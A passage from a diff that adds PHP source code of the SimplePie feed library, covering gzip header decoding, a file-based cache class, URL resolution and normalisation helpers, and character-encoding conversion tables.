+					$this->filename = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FCOMMENT
+			if ($this->flags & 16)
+			{
+				// Get the length of the comment
+				$len = strspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original comment to the given string
+					$this->comment = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FHCRC
+			if ($this->flags & 2)
+			{
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 2;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Read the CRC
+					$crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+
+					// Check the CRC matches
+					if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc)
+					{
+						$this->position += 2;
+					}
+					else
+					{
+						return false;
+					}
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Decompress the actual data
+			if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false)
+			{
+				return false;
+			}
+			else
+			{
+				$this->position = $this->compressed_size - 8;
+			}
+
+			// Check CRC of data
+			$crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			/*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
+			{
+				return false;
+			}*/
+
+			// Check ISIZE of data
+			$isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize))
+			{
+				return false;
+			}
+
+			// Wow, against all odds, we've actually got a valid gzip string
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+}
+
+class SimplePie_Cache
+{
+	/**
+	 * Don't call the constructor. Please.
+	 *
+	 * @access private
+	 */
+	function SimplePie_Cache()
+	{
+		trigger_error('Please call SimplePie_Cache::create() instead of the constructor', E_USER_ERROR);
+	}
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @static
+	 * @access public
+	 */
+	function create($location, $filename, $extension)
+	{
+		return new SimplePie_Cache_File($location, $filename, $extension);
+	}
+}
+
+class SimplePie_Cache_File
+{
+	var $location;
+	var $filename;
+	var $extension;
+	var $name;
+
+	function SimplePie_Cache_File($location, $filename, $extension)
+	{
+		$this->location = $location;
+		$this->filename = rawurlencode($filename);
+		$this->extension = rawurlencode($extension);
+		$this->name = "$location/$this->filename.$this->extension";
+	}
+
+	function save($data)
+	{
+		if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location))
+		{
+			if (is_a($data, 'SimplePie'))
+			{
+				$data = $data->data;
+			}
+
+			$data = serialize($data);
+
+			if (function_exists('file_put_contents'))
+			{
+				return (bool) file_put_contents($this->name, $data);
+			}
+			else
+			{
+				$fp = fopen($this->name, 'wb');
+				if ($fp)
+				{
+					fwrite($fp, $data);
+					fclose($fp);
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	function load()
+	{
+		if (file_exists($this->name) && is_readable($this->name))
+		{
+			return unserialize(file_get_contents($this->name));
+		}
+		return false;
+	}
+
+	function mtime()
+	{
+		if (file_exists($this->name))
+		{
+			return filemtime($this->name);
+		}
+		return false;
+	}
+
+	function touch()
+	{
+		if (file_exists($this->name))
+		{
+			return touch($this->name);
+		}
+		return false;
+	}
+
+	function unlink()
+	{
+		if (file_exists($this->name))
+		{
+			return unlink($this->name);
+		}
+		return false;
+	}
+}
+
+class SimplePie_Misc
+{
+	function time_hms($seconds)
+	{
+		$time = '';
+
+		$hours = floor($seconds / 3600);
+		$remainder = $seconds % 3600;
+		if ($hours > 0)
+		{
+			$time .= $hours.':';
+		}
+
+		$minutes = floor($remainder / 60);
+		$seconds = $remainder % 60;
+		if ($minutes < 10 && $hours > 0)
+		{
+			$minutes = '0' . $minutes;
+		}
+		if ($seconds < 10)
+		{
+			$seconds = '0' . $seconds;
+		}
+
+		$time .= $minutes.':';
+		$time .= $seconds;
+
+		return $time;
+	}
+
+	function absolutize_url($relative, $base)
+	{
+		if ($relative !== '')
+		{
+			$relative = SimplePie_Misc::parse_url($relative);
+			if ($relative['scheme'] !== '')
+			{
+				$target = $relative;
+			}
+			elseif ($base !== '')
+			{
+				$base = SimplePie_Misc::parse_url($base);
+				$target = SimplePie_Misc::parse_url('');
+				if ($relative['authority'] !== '')
+				{
+					$target = $relative;
+					$target['scheme'] = $base['scheme'];
+				}
+				else
+				{
+					$target['scheme'] = $base['scheme'];
+					$target['authority'] = $base['authority'];
+					if ($relative['path'] !== '')
+					{
+						if (strpos($relative['path'], '/') === 0)
+						{
+							$target['path'] = $relative['path'];
+						}
+						elseif ($base['authority'] !== '' && $base['path'] === '')
+						{
+							$target['path'] = '/' . $relative['path'];
+						}
+						elseif (($last_segment = strrpos($base['path'], '/')) !== false)
+						{
+							$target['path'] = substr($base['path'], 0, $last_segment + 1) . $relative['path'];
+						}
+						else
+						{
+							$target['path'] = $relative['path'];
+						}
+						$target['query'] = $relative['query'];
+					}
+					else
+					{
+						$target['path'] = $base['path'];
+						if ($relative['query'] !== '')
+						{
+							$target['query'] = $relative['query'];
+						}
+						elseif ($base['query'] !== '')
+						{
+							$target['query'] = $base['query'];
+						}
+					}
+				}
+				$target['fragment'] = $relative['fragment'];
+			}
+			else
+			{
+				// No base URL, just return the relative URL
+				$target = $relative;
+			}
+			$return = SimplePie_Misc::compress_parse_url($target['scheme'], $target['authority'], $target['path'], $target['query'], $target['fragment']);
+		}
+		else
+		{
+			$return = $base;
+		}
+		$return = SimplePie_Misc::normalize_url($return);
+		return $return;
+	}
+
+	function remove_dot_segments($input)
+	{
+		$output = '';
+		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input == '.' || $input == '..')
+		{
+			// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
+			if (strpos($input, '../') === 0)
+			{
+				$input = substr($input, 3);
+			}
+			elseif (strpos($input, './') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
+			elseif (strpos($input, '/./') === 0)
+			{
+				$input = substr_replace($input, '/', 0, 3);
+			}
+			elseif ($input == '/.')
+			{
+				$input = '/';
+			}
+			// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
+			elseif (strpos($input, '/../') === 0)
+			{
+				$input = substr_replace($input, '/', 0, 4);
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			elseif ($input == '/..')
+			{
+				$input = '/';
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
+			elseif ($input == '.' || $input == '..')
+			{
+				$input = '';
+			}
+			// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
+			elseif (($pos = strpos($input, '/', 1)) !== false)
+			{
+				$output .= substr($input, 0, $pos);
+				$input = substr_replace($input, '', 0, $pos);
+			}
+			else
+			{
+				$output .= $input;
+				$input = '';
+			}
+		}
+		return $output . $input;
+	}
+
+	function get_element($realname, $string)
+	{
+		$return = array();
+		$name = preg_quote($realname, '/');
+		if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
+		{
+			for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++)
+			{
+				$return[$i]['tag'] = $realname;
+				$return[$i]['full'] = $matches[$i][0][0];
+				$return[$i]['offset'] = $matches[$i][0][1];
+				if (strlen($matches[$i][3][0]) <= 2)
+				{
+					$return[$i]['self_closing'] = true;
+				}
+				else
+				{
+					$return[$i]['self_closing'] = false;
+					$return[$i]['content'] = $matches[$i][4][0];
+				}
+				$return[$i]['attribs'] = array();
+				if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER))
+				{
+					for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++)
+					{
+						if (count($attribs[$j]) == 2)
+						{
+							$attribs[$j][2] = $attribs[$j][1];
+						}
+						$return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]), 'UTF-8');
+					}
+				}
+			}
+		}
+		return $return;
+	}
+
+	function element_implode($element)
+	{
+		$full = "<$element[tag]";
+		foreach ($element['attribs'] as $key => $value)
+		{
+			$key = strtolower($key);
+			$full .= " $key=\"" . htmlspecialchars($value['data']) . '"';
+		}
+		if ($element['self_closing'])
+		{
+			$full .= ' />';
+		}
+		else
+		{
+			$full .= ">$element[content]</$element[tag]>";
+		}
+		return $full;
+	}
+
+	function error($message, $level, $file, $line)
+	{
+		switch ($level)
+		{
+			case E_USER_ERROR:
+				$note = 'PHP Error';
+				break;
+			case E_USER_WARNING:
+				$note = 'PHP Warning';
+				break;
+			case E_USER_NOTICE:
+				$note = 'PHP Notice';
+				break;
+			default:
+				$note = 'Unknown Error';
+				break;
+		}
+		error_log("$note: $message in $file on line $line", 0);
+		return $message;
+	}
+
+	/**
+	 * If a file has been cached, retrieve and display it.
+	 *
+	 * This is most useful for caching images (get_favicon(), etc.),
+	 * however it works for all cached files.  This WILL NOT display ANY
+	 * file/image/page/whatever, but rather only display what has already
+	 * been cached by SimplePie.
+	 *
+	 * @access public
+	 * @see SimplePie::get_favicon()
+	 * @param str $identifier_url URL that is used to identify the content.
+	 * This may or may not be the actual URL of the live content.
+	 * @param str $cache_location Location of SimplePie's cache.  Defaults
+	 * to './cache'.
+	 * @param str $cache_extension The file extension that the file was
+	 * cached with.  Defaults to 'spc'.
+	 * @param str $cache_class Name of the cache-handling class being used
+	 * in SimplePie.  Defaults to 'SimplePie_Cache', and should be left
+	 * as-is unless you've overloaded the class.
+	 * @param str $cache_name_function Obsolete. Exists for backwards
+	 * compatibility reasons only.
+	 */
+	function display_cached_file($identifier_url, $cache_location = './cache', $cache_extension = 'spc', $cache_class = 'SimplePie_Cache', $cache_name_function = 'md5')
+	{
+		$cache = call_user_func(array($cache_class, 'create'), $cache_location, $identifier_url, $cache_extension);
+
+		if ($file = $cache->load())
+		{
+			if (isset($file['headers']['content-type']))
+			{
+				header('Content-type:' . $file['headers']['content-type']);
+			}
+			else
+			{
+				header('Content-type: application/octet-stream');
+			}
+			header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+			echo $file['body'];
+			exit;
+		}
+
+		die('Cached file for ' . $identifier_url . ' cannot be found.');
+	}
+
+	function fix_protocol($url, $http = 1)
+	{
+		$url = SimplePie_Misc::normalize_url($url);
+		$parsed = SimplePie_Misc::parse_url($url);
+		if ($parsed['scheme'] !== '' && $parsed['scheme'] != 'http' && $parsed['scheme'] != 'https')
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url))
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($http == 2 && $parsed['scheme'] !== '')
+		{
+			return "feed:$url";
+		}
+		elseif ($http == 3 && strtolower($parsed['scheme']) == 'http')
+		{
+			return substr_replace($url, 'podcast', 0, 4);
+		}
+		elseif ($http == 4 && strtolower($parsed['scheme']) == 'http')
+		{
+			return substr_replace($url, 'itpc', 0, 4);
+		}
+		else
+		{
+			return $url;
+		}
+	}
+
+	function parse_url($url)
+	{
+		preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $url, $match);
+		for ($i = count($match); $i <= 9; $i++)
+		{
+			$match[$i] = '';
+		}
+		return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]);
+	}
+
+	function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
+	{
+		$return = '';
+		if ($scheme !== '')
+		{
+			$return .= "$scheme:";
+		}
+		if ($authority !== '')
+		{
+			$return .= "//$authority";
+		}
+		if ($path !== '')
+		{
+			$return .= $path;
+		}
+		if ($query !== '')
+		{
+			$return .= "?$query";
+		}
+		if ($fragment !== '')
+		{
+			$return .= "#$fragment";
+		}
+		return $return;
+	}
+
+	function normalize_url($url)
+	{
+		$url = preg_replace_callback('/%([0-9A-Fa-f]{2})/', array('SimplePie_Misc', 'percent_encoding_normalization'), $url);
+		$url = SimplePie_Misc::parse_url($url);
+		$url['scheme'] = strtolower($url['scheme']);
+		if ($url['authority'] !== '')
+		{
+			$url['authority'] = strtolower($url['authority']);
+			$url['path'] = SimplePie_Misc::remove_dot_segments($url['path']);
+		}
+		return SimplePie_Misc::compress_parse_url($url['scheme'], $url['authority'], $url['path'], $url['query'], $url['fragment']);
+	}
+
+	function percent_encoding_normalization($match)
+	{
+		$integer = hexdec($match[1]);
+		if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer == 0x2D || $integer == 0x2E || $integer == 0x5F || $integer == 0x7E)
+		{
+			return chr($integer);
+		}
+		else
+		{
+			return strtoupper($match[0]);
+		}
+	}
+
+	/**
+	 * Remove bad UTF-8 bytes
+	 *
+	 * PCRE Pattern to locate bad bytes in a UTF-8 string comes from W3C
+	 * FAQ: Multilingual Forms (modified to include full ASCII range)
+	 *
+	 * @author Geoffrey Sneddon
+	 * @see http://www.w3.org/International/questions/qa-forms-utf-8
+	 * @param string $str String to remove bad UTF-8 bytes from
+	 * @return string UTF-8 string
+	 */
+	function utf8_bad_replace($str)
+	{
+		if (function_exists('iconv') && ($return = @iconv('UTF-8', 'UTF-8//IGNORE', $str)))
+		{
+			return $return;
+		}
+		elseif (function_exists('mb_convert_encoding') && ($return = @mb_convert_encoding($str, 'UTF-8', 'UTF-8')))
+		{
+			return $return;
+		}
+		elseif (preg_match_all('/(?:[\x00-\x7F]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})+/', $str, $matches))
+		{
+			return implode("\xEF\xBF\xBD", $matches[0]);
+		}
+		elseif ($str !== '')
+		{
+			return "\xEF\xBF\xBD";
+		}
+		else
+		{
+			return '';
+		}
+	}
+
+	/**
+	 * Converts a Windows-1252 encoded string to a UTF-8 encoded string
+	 *
+	 * @static
+	 * @access public
+	 * @param string $string Windows-1252 encoded string
+	 * @return string UTF-8 encoded string
+	 */
+	function windows_1252_to_utf8($string)
+	{
+		static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF");
+
+		return strtr($string, $convert_table);
+	}
+
+	function change_encoding($data, $input, $output)
+	{
+		$input = SimplePie_Misc::encoding($input);
+		$output = SimplePie_Misc::encoding($output);
+
+		// We fail to fail on non US-ASCII bytes
+		if ($input === 'US-ASCII')
+		{
+			static $non_ascii_octects = '';
+			if (!$non_ascii_octects)
+			{
+				for ($i = 0x80; $i <= 0xFF; $i++)
+				{
+					$non_ascii_octects .= chr($i);
+				}
+			}
+			$data = substr($data, 0, strcspn($data, $non_ascii_octects));
+		}
+
+		// This is first, as behaviour of this is completely predictable
+		if ($input === 'Windows-1252' && $output === 'UTF-8')
+		{
+			return SimplePie_Misc::windows_1252_to_utf8($data);
+		}
+		// This is second, as behaviour of this varies only with PHP version
+		elseif (function_exists('mb_convert_encoding') && ($return = @mb_convert_encoding($data, $output, $input)))
+		{
+			return $return;
+		}
+		// This is last, as behaviour of this varies with OS userland and PHP version
+		elseif (function_exists('iconv') && ($return = @iconv($input, $output, $data)))
+		{
+			return $return;
+		}
+		// If we can't do anything, just fail
+		else
+		{
+			return false;
+		}
+	}
+
+	function encoding($charset)
+	{
+		/* Character sets are case-insensitive, and also need some further
+		normalization in the real world (though we'll return them in the form given
+		in their registration). */
+		switch (strtolower(preg_replace('/[\x09-\x0D\x20-\x2F\x3A-\x40\x5B-\x60\x7B-\x7E]/', '', $charset)))
+		{
+			case 'adobestandardencoding':
+			case 'csadobestandardencoding':
+				return 'Adobe-Standard-Encoding';
+
+			case 'adobesymbolencoding':
+			case 'cshppsmath':
+				return 'Adobe-Symbol-Encoding';
+
+			case 'ami1251':
+			case 'ami1251':
+			case 'amiga1251':
+			case 'amiga1251':
+				return 'Amiga-1251';
+
+			case 'ansix31101983':
+			case 'csat5001983':
+			case 'csiso99naplps':
+			case 'isoir99':
+			case 'naplps':
+				return 'ANSI_X3.110-1983';
+
+			case 'arabic7':
+			case 'asmo449':
+			case 'csiso89asmo449':
+			case 'isoir89':
+			case 'iso9036':
+				return 'ASMO_449';
+
+			case 'big5':
+			case 'csbig5':
+			case 'xxbig5':
+				return 'Big5';
+
+			case 'big5hkscs':
+				return 'Big5-HKSCS';
+
+			case 'bocu1':
+			case 'csbocu1':
+				return 'BOCU-1';
+
+			case 'brf':
+			case 'csbrf':
+				return 'BRF';
+
+			case 'bs4730':
+			case 'csiso4unitedkingdom':
+			case 'gb':
+			case 'isoir4':
+			case 'iso646gb':
+			case 'uk':
+				return 'BS_4730';
+
+			case 'bsviewdata':
+			case 'csiso47bsviewdata':
+			case 'isoir47':
+				return 'BS_viewdata';
+
+			case 'cesu8':
+			case 'cscesu8':
+				return 'CESU-8';
+
+			case 'ca':
+			case 'csa71':
+			case 'csaz243419851':
+			case 'csiso121canadian1':
+			case 'isoir121':
+			case 'iso646ca':
+				return 'CSA_Z243.4-1985-1';
+
+			case 'csa72':
+			case 'csaz243419852':
+			case 'csiso122canadian2':
+			case 'isoir122':
+			case 'iso646ca2':
+				return 'CSA_Z243.4-1985-2';
+
+			case 'csaz24341985gr':
+			case 'csiso123csaz24341985gr':
+			case 'isoir123':
+				return 'CSA_Z243.4-1985-gr';
+
+			case 'csiso139csn369103':
+			case 'csn369103':
+			case 'isoir139':
+				return 'CSN_369103';
+
+			case 'csdecmcs':
+			case 'dec':
+			case 'decmcs':
+				return 'DEC-MCS';
+
+			case 'csiso21german':
+			case 'de':
+			case 'din66003':
+			case 'isoir21':
+			case 'iso646de':
+				return 'DIN_66003';
+
+			case 'csdkus':
+			case 'dkus':
+				return 'dk-us';
+
+			case 'csiso646danish':
+			case 'dk':
+			case 'ds2089':
+			case 'ds2089':
+			case 'iso646dk':
+				return 'DS_2089';
+
+			case 'csibmebcdicatde':
+			case 'ebcdicatde':
+				return 'EBCDIC-AT-DE';
+
+			case 'csebcdicatdea':
+			case 'ebcdicatdea':
+				return 'EBCDIC-AT-DE-A';
+
+			case 'csebcdiccafr':
+			case 'ebcdiccafr':
+				return 'EBCDIC-CA-FR';
+
+			case 'csebcdicdkno':
+			case 'ebcdicdkno':
+				return 'EBCDIC-DK-NO';
+
+			case 'csebcdicdknoa':
+			case 'ebcdicdknoa':
+				return 'EBCDIC-DK-NO-A';
+
+			case 'csebcdices':
+			case 'ebcdices':
+				return 'EBCDIC-ES';
+
+			case 'csebcdicesa':
+			case 'ebcdicesa':
+				return 'EBCDIC-ES-A';
+
+			case 'csebcdicess':
+			case 'ebcdicess':
+				return 'EBCDIC-ES-S';
+
+			case 'csebcdicfise':
+			case 'ebcdicfise':
+				return 'EBCDIC-FI-SE';
+
+			case 'csebcdicfisea':
+			case 'ebcdicfisea':
+				return 'EBCDIC-FI-SE-A';
+
+			case 'csebcdicfr':
+			case 'ebcdicfr':
+				return 'EBCDIC-FR';
+
+			case 'csebcdicit':
+			case 'ebcdicit':
+				return 'EBCDIC-IT';
+
+			case 'csebcdicpt':
+			case 'ebcdicpt':
+				return 'EBCDIC-PT';
+
+			case 'csebcdicuk':
+			case 'ebcdicuk':
+				return 'EBCDIC-UK';
+
+			case 'csebcdicus':
+			case 'ebcdicus':
+				return 'EBCDIC-US';
+
+			case 'csiso111ecmacyrillic':
+			case 'ecmacyrillic':
+			case 'isoir111':
+			case 'koi8e':
+				return 'ECMA-cyrillic';
+
+			case 'csiso17spanish':
+			case 'es':
+			case 'isoir17':
+			case 'iso646es':
+				return 'ES';
+
+			case 'csiso85spanish2':
+			case 'es2':
+			case 'isoir85':
+			case 'iso646es2':
+				return 'ES2';
+
+			case 'cseucfixwidjapanese':
+			case 'extendedunixcodefixedwidthforjapanese':
+				return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';
+
+			case 'cseucpkdfmtjapanese':
+			case 'eucjp':
+			case 'extendedunixcodepackedformatforjapanese':
+				return 'Extended_UNIX_Code_Packed_Format_for_Japanese';
+
+			case 'gb18030':
+				return 'GB18030';
+
+			case 'cp936':
+			case 'gbk':
+			case 'ms936':
+			case 'windows936':
+			case 'csgb2312':
+			case 'gb2312':
+			case 'chinese':
+			case 'csiso58gb231280':
+			case 'gb231280':
+			case 'isoir58':
+				return 'GBK';
+
+			case 'cn':
+			case 'csiso57gb1988':
+			case 'gb198880':
+			case 'isoir57':
+			case 'iso646cn':
+				return 'GB_1988-80';
+
+			case 'csiso153gost1976874':
+			case 'gost1976874':
+			case 'isoir153':
+			case 'stsev35888':
+				return 'GOST_19768-74';
+
+			case 'csiso150':
+			case 'csiso150greekccitt':
+			case 'greekccitt':
+			case 'isoir150':
+				return 'greek-ccitt';
+
+			case 'csiso88greek7':
+			case 'greek7':
+			case 'isoir88':
+				return 'greek7';
+
+			case 'csiso18greek7old':
+			case 'greek7old':
+			case 'isoir18':
+				return 'greek7-old';
+
+			case 'cshpdesktop':
+			case 'hpdesktop':
+				return 'HP-DeskTop';
+
+			case 'cshplegal':
+			case 'hplegal':
+				return 'HP-Legal';
+
+			case 'cshpmath8':
+			case 'hpmath8':
+				return 'HP-Math8';
+
+			case 'cshppifont':
+			case 'hppifont':
+				return 'HP-Pi-font';
+
+			case 'cshproman8':
+			case 'hproman8':
+			case 'r8':
+			case 'roman8':
+				return 'hp-roman8';
+
+			case 'hzgb2312':
+				return 'HZ-GB-2312';
+
+			case 'csibmsymbols':
+			case 'ibmsymbols':
+				return 'IBM-Symbols';
+
+			case 'csibmthai':
+			case 'ibmthai':
+				return 'IBM-Thai';
+
+			case 'ccsid00858':
+			case 'cp00858':
+			case 'ibm00858':
+			case 'pcmultilingual850euro':
+				return 'IBM00858';
+
+			case 'ccsid00924':
+			case 'cp00924':
+			case 'ebcdiclatin9euro':
+			case 'ibm00924':
+				return 'IBM00924';
+
+			case 'ccsid01140':
+			case 'cp01140':
+			case 'ebcdicus37euro':
+			case 'ibm01140':
+				return 'IBM01140';
+
+			case 'ccsid01141':
+			case 'cp01141':
+			case 'ebcdicde273euro':
+			case 'ibm01141':
+				return 'IBM01141';
+
+			case 'ccsid01142':
+			case 'cp01142':
+			case 'ebcdicdk277euro':
+			case 'ebcdicno277euro':
+			case 'ibm01142':
+				return 'IBM01142';
+
+			case 'ccsid01143':
+			case 'cp01143':
+			case 'ebcdicfi278euro':
+			case 'ebcdicse278euro':
+			case 'ibm01143':
+				return 'IBM01143';
+
+			case 'ccsid01144':
+			case 'cp01144':
+			case 'ebcdicit280euro':
+			case 'ibm01144':
+				return 'IBM01144';
+
+			case 'ccsid01145':
+			case 'cp01145':
+			case 'ebcdices284euro':
+			case 'ibm01145':
+				return 'IBM01145';
+
+			case 'ccsid01146':
+			case 'cp01146':
+			case 'ebcdicgb285euro':
+			case 'ibm01146':
+				return 'IBM01146';
+
+			case 'ccsid01147':
+			case 'cp01147':
+			case 'ebcdicfr297euro':
+			case 'ibm01147':
+				return 'IBM01147';
+
+			case 'ccsid01148':
+			case 'cp01148':
+			case 'ebcdicinternational500euro':
+			case 'ibm01148':
+				return 'IBM01148';
+
+			case 'ccsid01149':
+			case 'cp01149':
+			case 'ebcdicis871euro':
+			case 'ibm01149':
+				return 'IBM01149';
+
+			case 'cp037':
+			case 'csibm037':
+			case 'ebcdiccpca':
+			case 'ebcdiccpnl':
+			case 'ebcdiccpus':
+			case 'ebcdiccpwt':
+			case 'ibm037':
+				return 'IBM037';
+
+			case 'cp038':
+			case 'csibm038':
+			case 'ebcdicint':
+			case 'ibm038':
+				return 'IBM038';
+
+			case 'cp273':
+			case 'csibm273':
+			case 'ibm273':
